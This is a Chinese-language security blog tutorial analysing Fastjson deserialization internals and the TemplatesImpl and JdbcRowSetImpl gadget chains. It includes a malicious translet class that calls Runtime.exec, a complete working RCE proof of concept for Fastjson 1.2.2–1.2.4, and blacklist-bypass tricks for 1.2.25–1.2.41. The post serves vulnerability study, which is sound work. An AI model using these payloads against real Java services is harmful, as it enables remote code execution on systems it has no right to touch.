Java安全杂烩(二)

Java安全杂烩(二)

Fastjson反序列化

Fastjson简介

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。Fastjson在阿里巴巴大规模使用,在数万台服务器上部署,Fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一。出现安全问题影响范围很广。

  • 其中序列化方法为:JSON.toJSONString(obj)
  • 反序列化方法为:JSON.parseObject返回JSONObject类型,JSON.parse返回实际类型对象

在序列化时:

package fastjsonExample;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import org.python.antlr.ast.Str;

public class user {
    public String name;
    private int age;
    public String getName(){
        System.out.println("getName called");
        return name;
    }
    public void setName(String name){
        System.out.println("setName called");
        this.name = name;
    }
    public int getAge(){
        System.out.println("getAge called");
        return age;
    }
    public void setAge(int age){
        System.out.println("setAge called");
        this.age = age;
    }
    public void getTest(){
        System.out.println("get method called");
    }

    public static void main(String[] args) {
        user user = new user();
        user.setAge(18);
        user.setName("test");
        String jsonStr = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(jsonStr);
    }
}

发现类的getter方法也会被调用,但如果是私有的getter方法,则不会被调用

upload_ff13e09c1769c19c2b13384b152c4f4d

现在我们增加sex私有属性,并且为其增加getter方法后,尝试反序列化解析:

package fastjsonExample;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import org.python.antlr.ast.Str;

public class user {
    public String name;
    private String sex;
    private int age;
    public String getName(){
        System.out.println("getName called");
        return name;
    }
    public void setName(String name){
        System.out.println("setName called");
        this.name = name;
    }

    public int getAge(){
        System.out.println("getAge called");
        return age;
    }

    public String getSex() {
        return sex;
    }

    public void setAge(int age){
        System.out.println("setAge called");
        this.age = age;
    }
    public void getTest(){
        System.out.println("get method called");
    }

    public String toString(){
        return "user{" +
                "age=" + age +
                ", name='" + name + ''' +
                ", sex='" + sex + ''' +
                '}';
    }

    public static void main(String[] args) {
        String userString = "{"@type":"fastjsonExample.user" ,"age":25,"name":"test", "sex": "male"}";
        Object obj = JSON.parseObject(userString);
        System.out.println(obj);
    }
}

当私有属性没有setter方法时,反序列化会失败,而私有属性如果有setter方法,则反序列化时会调用其setter方法,使得恢复的类对象该私有属性中获得该值

upload_ce973bb6898e029b630278b7e5b22e03

并且在这里如果不指定类,使用parseObject反序列化则会调用所有的getter & setter方法

Feature.SupportNonPublicField这个属性在1.2.22版本才引入的,在1.2.25版本被修复

当我们使用这个Feature时,调用fastjson还原json为对象的时候可以完成对私有属性的反序列化:

upload_23c41048da1660d8b6f6668f5206cf3f

upload_1b5b2d34bdeeb428a324483b1e7b2924

反序列化时不同属性的对比

主要是在parse/parseObject进行反序列化时,通过传入不同的属性对比反序列化的过程和反序列化结果有什么不同,找到类setter方法,getter方法,构造方法的调用条件,用于后期构造PoC,这里主要有三个属性影响:

  • 有无Class类型
  • 不同Class类型
  • 有无Feature.SupportNonPublicField属性

我们来看有无Class类型的区别,这里给出一个例子:
不指定Class类型

import com.alibaba.fastjson.JSON;

import java.util.Properties;

public class user {
    private int age;
    private String name;
    private String sex;
    private Properties properties;
    public String address;

    public user() {
        System.out.println("Called in User()");
    }

    public int getAge() {
        System.out.println("Called in getAge()");
        return age;
    }

    public String getName() {
        System.out.println("Called in getName()");
        return name;
    }

    public String getSex() {
        System.out.println("Called in getSex()");
        return sex;
    }

    public void setSex(String sex) {
        System.out.println("Called in setSex()");
        this.sex = sex;
    }

    public Properties getProperties() {
        System.out.println("Called in getProperties()");
        return properties;
    }

    @Override
    public String toString() {
        return "User{" +
                "age=" + age +
                ", name='" + name + ''' +
                ", sex='" + sex + ''' +
                ", properties=" + properties +
                ", address='" + address + ''' +
                '}';
    }

    public static void main(String[] args) {
        String userString = "{"@type": "user" ,"age": 18,"name": "test","address": "xian", "sex": "man", "properties":{}}";
        Object user = JSON.parseObject(userString);
// JSONObject user = JSON.parseObject(userString);
        System.out.println(user);
        System.out.println(user.getClass().getName());
    }
}

当没有指定Class时,可以看到调用了构造方法,所有的getter和setter方法,其中getProperties被调用两次;定义类型无论是Object,还是JSONObject结果都一样,返回的类型都为JSONObject。

upload_60200a2269403e5355ed390694fc016d

指定Class类型时

upload_645f745f6a62e86e371ea83a87b1c1c7

在有Class类型时,调用构造方法,所有属性的setter方法,properties属性的getter方法;定义类型无论是Object,User返回类型都是User类型。反序列化时根据@type制定类型进行解析,定义了对象的类型。

指定SupportNonPublicField属性
前文也已经提到过了,SupportNonPublicField属性会使得私有属性在没有setter方法的情况下仍然反序列化成功

upload_9bbebd88bbaa1d6dd3606e6e019e211e

parse和parseObject 分析

FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。parseObject() 的源代码如下:

upload_81d93b89053b5f834e4d5fbed51c6aa0

这里我们需要知道parse中较为关键的几个类:

  • JSONLexe—— 处理Json分词,next()可以获取Json字符串的下一个字符
  • ParserConfig—— 包含解析配置,反序列化器,标签等各类配置信息
  • JavaBeanDeserializer —— JavaBean反序列化类
  • JSONScanner —— 负责扫描和获取json字符串中的Token并返回
  • ObjectDeserializer —— 负责将json字符串反序列化,与JavaBean有关系,内置各种类型的反序列化器
    跟进parseObject方法,进入到DefaultJSONParser.parseObject方法,根据Class类型获取对象的反序列化器derializer,并进行反序列化操作
    upload_4d394c7ef22a0a9a15c91f2951aeddc6

    尝试从HashMap中获取user类预设的反序列化器,没有找到后调用getDeserializer
    upload_7399a139c0791185ab4ae4b4a11fcfb0

    跟进该方法,继续跟进,this.getDeserializer()中主要通过比对type类型寻找合适的反序列化器,其中有一次this.denyList黑名单判断,黑名单中的类出现会抛出异常
    upload_2eabbfee0d5af0713f1e4f0de3a8df26

    跟到最后,未能在预设的反序列化器中找到合适的,最后使用JavaBeanDeserializer进行反序列化
    upload_559460ea54170c3748f66c541ba1cfb1

继续跟进该方法:
其中beanInfo中存放着user类的Class对象,user类构造器,还有类的属性:

upload_3248ece44a859509ce2ba0e060f89d51

因此在JavaBeanInfo.build中,一定涉及到对于传入json字符串的相关处理过程,这里之后重点分析,这里先继续向下分析,最终会实例化一个JavaBeanDeserializer:
upload_280c55f2c889b4d6fbca25380cb64e1d

跟进后再次生成beanInfo对象,并循环根据fieldInfo信息给每个字段生成对应类型的fieldDeserializer并存放到this.sortedFieldDeserializersthis.fieldDeserializers
upload_4031208d1d47022a4a403acc8b38b1d1

最终调用deserialze方法进行反序列化:
upload_d0108fd3fdaf3ea328c96c3b6e23cc75

跟进该方法,发现最终会实例化该对象,对user的字段进行反序列化并赋值到User对象的对应属性中:

upload_eec7763f6119b5e8307ae0e20bdf2821

这里将parser和对应的key传入,根据key的值,匹配传入到fieldValues中,跟进该方法:
upload_56cad038068b355271049cbbe0c224ab

按照key的类型,利用“智能匹配”功能,找到属性的反序列化器,调用反序列化器的parseField方法

注意在smartMatch方法中,会对属性进行一定处理,如果属性名不以is开头,则会将传入属性中的-_都先置空,在进行匹配

upload_65e2a7ffaf5fa697015cb9e2f47c9267

匹配完后调用fieldDeserializer.parseField方法:
upload_74d690f00dbb715b822b3f63475b49c6

parseField方法中,对属性进行反序列化处理,调用this.fieldValueDeserilizer.deserialze方法

upload_bb779b34511121d31147ee00cb8b048d

获得到value后对该Object调用setValue赋值,跟进该方法,最终是反射调用的方式进行赋值,这也就是为什么在JSON反序列化时会调用setter方法的原因
upload_e814a570e5ced37179cd400ebc66b687

当属性没有对应的setter方法时,则会调用field.set进行赋值:
upload_b40c9da31a1ed38da17b2019bc2888ce

总结
在属性反序列化获取到值后,都会调用setValue将值赋值到object中对应的属性中:

  • 对于有setter的,利用反射调用setter方法赋值;
  • 对于没有setter的,利用字段field.set的方式给属性赋值;

当所有Field对象都实例化并添加到User对象object中后,返回object,结束反序列化流程。

之前的getProperties则是在setValue时被调用:

upload_81ca92a369088806491b51e4a44d9b73

这里跟一下Method是如何被赋值到this.fieldInfo.method的,主要发生在build方法中,在build方法中,首先就会利用反射获取到类的字段和方法列表,以及User的构造方法:
upload_a96b586243b31487e07a81e689124413

之后method被循环取出,开始判断:
upload_ea73b4811fb8a98e39b55e33076ab737

对于setter方法而言:

  • 1.方法名要大于等于4;
  • 2.非静态方法;
  • 3.返回值为void类型或者返回当前类;
  • 4.参数只有一个

当set方法满足上述条件时,还会判断类中是否存在set的属性是否为类的属性,最终将该方法加入到filedList中:

upload_8113b0c900de36d88707de2575fde5a4

对于getter方法而言:

  • 方法名要大于等于4;
  • 非静态方法;
  • 以get开头并且第四个字母为大写;
  • 参数个数为0;
  • Collection & Map & AtomicBoolean & AtomicInteger & AtomicLong 方法返回类型

当get方法满足上述条件时,还会判断类中是否存在get的属性是否为类的属性,最终将该方法加入到filedList中,因此由于由于getProperties符合条件被放入到List中,在后续反序列化字段的时候这个method会被调用。

upload_08b95612d2a9172340837dbb9074a3e9

TemplatesImpl利用链

有了上述前置知识后,我们再来分析Fastjson TemplatesImpl利用链,首先让我们分析调用栈情况:

upload_2e4d8064771bdb57c0a9888926473f91

调用栈情况如下,前文说过,getOutputProperties符合触发getter方法的条件,因此会调用TemplatesImplgetOutputProperties方法

TemplatesImpl() -> getOutputProperties() -> newTransformer() -> getTransletInstance()

让我们跟进该方法:

upload_b24451fc24590d7c1c14158d18ae38d2

我们看看newTransformer:

upload_b73d078f48d705ecd779165d5bb42007

这里调用getTransletInstance方法,并且在构造方法中传入了三个私有属性,我们继续跟进该方法发现调用defineTransletClasses将传入的_bytecodes,这里就是恶意类FJPayload的字节码,根据Java官方文档可以知道,defindClass可以从byte[]还原出一个Class对象,成功帮我们把字节码还原为了FJPayload Class 并放入到了_class[]数组中

upload_6a5a1ec7b06f01545208f8ae02c0662c

向JVM虚拟机注册完该类后,并且最终会将该类进行实例化,从而触发构造方法,实现RCE
upload_146962fefb081a751c6d3ecde10fdf3b

如何根据FastJson触发
前文说过,FastJson会根绝@type中的类从而调用所有的getter方法和部分满足要求的getter方法,而getOutputProperties就满足要求,那么在这里要说明几个问题:

1._outputProperties为何会关联到outputProerties的getter方法
前文说道在smartMatch方法中会将属性中的_-均替换为空:

upload_51d625ad108c4e81c8e65801dd677f93

当替换完成后就是outputProerties属性,随后进入setvalue时便会调用getOutputProerties方法
upload_294d16107cf41e86a66bd222097cab27

因此我们在这里可以将outputProerties改为任意包含outputProerties且含有_ 或者 -的属性,例如将其改为output-Proerties同样会触发

2.为什么_bytecodes要base64编码
Fastjson在调用ObjectArrayCodec.deserialze中,调用parser.parseArray方法对字节数组进行解析:

upload_f8b4b6ae9ce7c56aec65a3040bd2a656

跟进该方法,获取反序列化器进行反序列化操作:

upload_d39d2a73775c727fd84627d9847fbae3

这里调用bytesValue方法进行base64解码:
upload_d4a378c85c6553adf9bb20335e56a6df

upload_e304e2e76d6fd7049ad610c93a1902cc

经过base64解码后才得到类字节码数组:
upload_e33ef3f04c35e61b9c06e0951405abf2

3.为什么Payload类要继承AbstractTranslet父类
我们首先看一下构造为字节码数组的原始类:

package ClassLoad;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class FJPayload extends AbstractTranslet {
    public FJPayload() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws IOException {
        FJPayload payload = new FJPayload();
    }
}

因为在最后调用defineTransletClasses向JVM注册该类对象的时候:

upload_7de05df4168b0cfaa1315eca617e7e95

使得_transletIndex != -1因此_transletIndex > 0,而紧接着后面就会对_transletIndex进行判断,不满足条件则抛出异常:
upload_e5e610e1a9c7e96e47082349a95ff826

4.为什么需要SupportNonPublicField特性
让我们回到利用类TemplatesImpl就会发现这些属性都是私有属性,并且是没有对应的setter方法的,因此只有支持SupportNonPublicField,才能够在没有setter方法的情况下赋值我们定义的属性的值,

upload_ec1edac182c3b555795e345947b9ccb3

最后需要注意的是,这里_name是不可少的,因为在getTransletInstance方法处会有判断

upload_071ee11d4a5f87889cb6f6aabb095299

并且_tfactory也是必不可少的,因为在构造方法处需要这个值,并且后续会对这个属性调用getExternalExtensionsMap方法,如果没有该属性,则会触发异常,从而不会进入到后续的try代码块中:
upload_e637a60ae4f1f44d050493af2ccfaeab

upload_86263f137fe4d765a0d1d46a6f789f71

TemplatesImpl利用链的一点思考

其实前文所说需要继承AbstractTranslet也并非必须,考虑到支持SupportNonPublicField,因此我们只需要对_transletIndex赋值为0,并且增加_auxClasses属性为{},代表其是一个空对象,否则会抛出空指针错误:

upload_0b03befce78952ecb961f91e3cb82f52

构造一个没有继承的类依然可以触发实现RCE,这个版本的Poc如下:

package fastjsonExample;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Properties;
import java.util.concurrent.atomic.AtomicInteger;

import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class user {
    private AtomicInteger age;
    private String name;
    private String sex;
    private Properties properties;
    public String address;

    public user() {
        System.out.println("Called in User()");
    }

    public AtomicInteger getAge() {
        System.out.println("Called in getAge()");
        return age;
    }

    public String getName() {
        System.out.println("Called in getName()");
        return name;
    }

    public String getSex() {
        System.out.println("Called in getSex()");
        return sex;
    }

    public void setSex(String sex) {
        System.out.println("Called in setSex()");
        this.sex = sex;
    }

    public Properties getProperties() {
        System.out.println("Called in getProperties()");
        return properties;
    }

    @Override
    public String toString() {
        return "User{" +
                "age=" + age +
                ", name='" + name + ''' +
                ", sex='" + sex + ''' +
                ", properties=" + properties +
                ", address='" + address + ''' +
                '}';
    }

    public static String readClassFile(String class_path) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        if (!Files.exists(Paths.get(class_path).toAbsolutePath()))
            System.out.println("[ERROR] FileNotFound : " + class_path);
        Files.copy(Paths.get(class_path), out);
        return Base64.getEncoder().encodeToString(out.toByteArray());
    }

    /**
     * Fastjson 1.2.2 - 1.2.4反序列化RCE示例
     */
    public static void fastRCE() throws Exception{
        String byteCode = readClassFile("C:\Users\86189\IdeaProjects\learn_java\out\production\learn_java\ClassLoad\FJPayload.class");
        //String byteCode = readClassFile("C:\Users\86189\IdeaProjects\learn_java\src\ClassLoad\FJPayload.class");
        // 构建恶意的JSON
        String PoC = "{"@type":"" + "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" + "","_bytecodes":["" + byteCode + ""],'_name':'as','_transletIndex':0, '_auxClasses':{}, '_tfactory':{},"output-Properties":{}" + "}n";
        System.out.println(PoC);
        // 生成Payload
        // 使用FastJson反序列化,但必须启用SupportNonPublicField特性
        JSON.parseObject(PoC, Object.class, new ParserConfig(), Feature.SupportNonPublicField);
    }

    public static void main(String[] args) throws Exception{
        fastRCE();
//        String userString = "{"@type": "vuln.user" ,"age": 18,"name": "test","address": "xian", "sex": "man", "properties":{}}";
//        Object user = JSON.parseObject(userString, vuln.user.class,Feature.SupportNonPublicField);
//// JSONObject user = JSON.parseObject(userString);
//        System.out.println(user);
//        System.out.println(user.getClass().getName());
    }
}

JNDI利用链

这里使用的是jdbcRowSet,可以通过setDataSourceName方法设置ldap请求的远程地址,结合setAutoCommit实现LDAP RCE,首先看下简单的例子:

upload_13c58642bdf4c27fdfc077ca020c5f84

继续跟进该方法:
upload_500c1dd609c3f8c836f67083c8767f8c

upload_ace5a4f4dd379f965eb05dece6de539f

这里调用lookup来查询,自然也就能过实现RCE了,链子非常简单,因此在Fastjson中也是使用了这两个setter方法进行利用:

upload_a6d39f3e64ba4324c82cfa5c12364ee1

1.2.25-1.2.41 Fastjson 绕过

在1.2.25中加入了checkAutoType()方法用来对反序列化的Class进行验证:

upload_753bf10c24a8563054d941eb63a1bf78

需要开启autoTypeSupport,而1.2.25默认为关闭,并且增加了类黑白名单校验:
upload_ee8f4cc66fbfedacb58f21a1488d7222

因此在该部分谈及绕过处理中,前提都是需要显示的开启AutoTypeSupport

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

同时在开启AutoTypeSupport依然要对黑名单进行绕过

upload_7e7d0d91b86f910323f25541cf7063eb

这里由于com.sun是黑名单,因此我们使用jdbcRowSet时会抛出异常,从而无法继续利用,前文已经知道,最后FastJson会通过util.TypeUtils.loadClass来加载类对象,因此我们来跟一下这个方法:
upload_8826150b8d611fb3d17ed02c9545fb68

如果classname以[开头loadClass会自动去掉,还有就是开头L结尾;的也会去掉,那么我们有了新的绕过方法:

upload_51fefaae7399a236e6f5f6e0996b6db0

1

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇